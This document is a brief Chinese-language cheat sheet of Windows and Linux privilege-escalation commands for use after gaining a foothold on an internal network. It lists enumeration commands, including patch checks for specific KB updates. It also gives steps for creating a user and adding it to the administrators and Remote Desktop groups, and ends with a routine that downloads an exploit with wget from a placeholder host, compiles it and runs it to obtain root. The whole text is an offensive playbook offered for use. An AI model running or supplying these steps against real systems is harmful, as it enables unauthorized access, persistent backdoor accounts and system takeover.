内网提权命令

net user xx

query user #查看用户登录情况

whoami #当前用户权限

systeminfo #查看当前系统版本与补丁信息

net user xx 123456 /add #添加用户

net localgroup administrators xx /add #添加到管理员组

net localgroup "Remote Desktop Users" xx /add #如远程桌面连接不上那么添加远程桌面组

ipconfig #查看本机ip信息，可加 /all 参数

netstat -ano #查看端口情况

dir c:\ #查看目录

type c:\Users\admin\Desktop\1.txt #查看指定位置文件内容，一般为文本文件

echo 字符串>2.txt #写入文本到文件。特殊字符如<>等前面加^

copy 1.txt 3.php #复制文件

rename d:\2.txt mspaint.bat #将某个路径下的文件重命名

tasklist #查看所有进程占用的端口

taskkill /im xx.ext /f #强制结束指定进程 如 taskkill /im QQMusic.exe /f

查看系统信息
systeminfo|findstr /B/C:"OS名称"/C:"OS版本"

主机名
Hostname

环境变量
Set

查看用户信息
Net user
Net1 user

查看服务pid号
Tasklist/svc|find "TermService"
netstat -ano|find "1488"

查看系统名
wmic os get caption

查看补丁信息
wmic dfe get Description,HotFixID,InstalledOn|findstr /C:"KB4013389" /C:"KB958644"

查看当前安装程序
wmic product get name,version

查看系统版本信息
    cat /etc/issue
    cat /etc/*-release
查看内核版本
    uname -a

基础命令：
uname -an
id
pwd
cat /etc/issue

套路：
wget http://exp/exp.c
gcc -o exp exp.c
chmod +x exp
./exp
...到root